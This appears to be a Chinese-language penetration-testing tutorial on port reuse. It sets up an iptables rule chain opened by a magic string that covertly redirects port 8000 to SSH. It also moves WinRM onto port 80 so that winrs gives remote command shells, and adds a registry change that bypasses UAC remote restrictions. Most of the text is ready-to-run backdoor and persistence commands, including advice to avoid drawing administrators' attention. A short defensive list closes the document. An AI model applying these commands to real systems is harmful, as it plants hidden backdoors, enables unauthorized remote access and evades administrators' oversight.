一文打尽 LinuxWindows端口复用实战
字数 1193 2025-08-15 21:33:37
Linux与Windows端口复用实战指南
一、端口复用概述
定义:端口复用是指不同的应用程序使用相同端口进行通讯。
应用场景:
- 内网渗透中搭建隧道时,服务器仅允许指定的端口对外开放
- 将3389或22等端口转发到如80端口上,以便外部连接
- 隐蔽攻击行为,提高生存几率
- 用作通道后门
特点:
- 在系统已开放的端口上进行通讯
- 只对输入信息进行字符匹配,不拦截、复制网络数据
- 对网络数据传输性能几乎没有影响
二、Linux端口复用实现
1. 技术原理
核心工具:
- iptables:Linux防火墙管理工具,基于netfilter内核模块
- socat:多功能网络工具,可视为netcat的加强版
iptables关键概念:
-
链(Chain):按顺序排列的规则列表
- PREROUTING:路由选择前处理
- INPUT:进入的数据包
- OUTPUT:外出的数据包
- FORWARD:转发的数据包
- POSTROUTING:路由选择后处理
-
表(Table):一组预定义的链
- filter表:防火墙相关操作,过滤数据包
- nat表:网络地址转换
- mangle表:处理数据包
- raw表:配置数据包,不被系统跟踪
2. 实现步骤
配置端口复用规则
# 新建端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则(将流量重定向到22端口)
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启端口复用开关(接收特定字符串后生效)
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# 开启端口复用(检查3600秒内的匹配记录)
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
使用socat连接
# 开启端口复用
echo threathuntercoming | socat -- tcp:目标IP:8000
# 关闭端口复用
echo threathunterleaving | socat -- tcp:目标IP:8000
3. 注意事项
- 该方法为有限端口复用,复用后端口正常业务会受影响
- 仅用于后门留存或临时使用,不建议长期使用
- 约定字符应尽量复杂以提高安全性
三、Windows端口复用实现
1. 技术原理
核心组件:
-
HTTP.sys:Windows处理HTTP请求的内核驱动程序
- 从IIS 6.0引入(Windows Server 2003+)
- 监听HTTP流量并根据URL注册情况分发
- 实现多个进程在同一端口监听HTTP流量
-
Net.tcp Port Sharing:WCF中的端口共享服务
- 基于HTTP.sys实现
- 允许不同应用共享相同端口
-
WinRM(Windows Remote Management):
- 默认监听5985端口(HTTP协议)
- 可在HTTP.sys上注册url前缀
- 通过修改监听端口实现端口复用
2. 实现步骤
基础配置
:: 查询当前注册的url前缀
netsh http show servicestate
:: 开启winrm服务(Windows 2008需要手动启动)
winrm quickconfig -q
配置端口复用
:: 增加80端口复用
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
:: 更改winrm监听端口为80
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
攻击机配置
:: 启动winrm
winrm quickconfig -q
:: 设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}
远程连接
:: 使用winrs远程执行命令
winrs -r:http://目标IP -u:administrator -p:密码 "命令"
:: 获取交互式shell
winrs -r:http://目标IP -u:administrator -p:密码 cmd
3. 高级配置
权限提升
:: 允许本地管理员组的其他用户登录WinRM(绕过UAC限制)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Hash登录
系统自带的winrs命令需要使用明文账号密码,可通过自定义客户端实现NTLM hash登录。
4. 注意事项
- 需要管理员权限
- Windows 2012及以上版本默认启动WinRM并监听5985端口
- 修改端口时需注意避免引起管理员关注
- IIS服务不会受到影响
四、防御建议
- 监控iptables/netsh配置变更
- 检查异常端口复用规则
- 限制WinRM服务使用
- 实施严格的网络访问控制
- 监控异常字符串匹配规则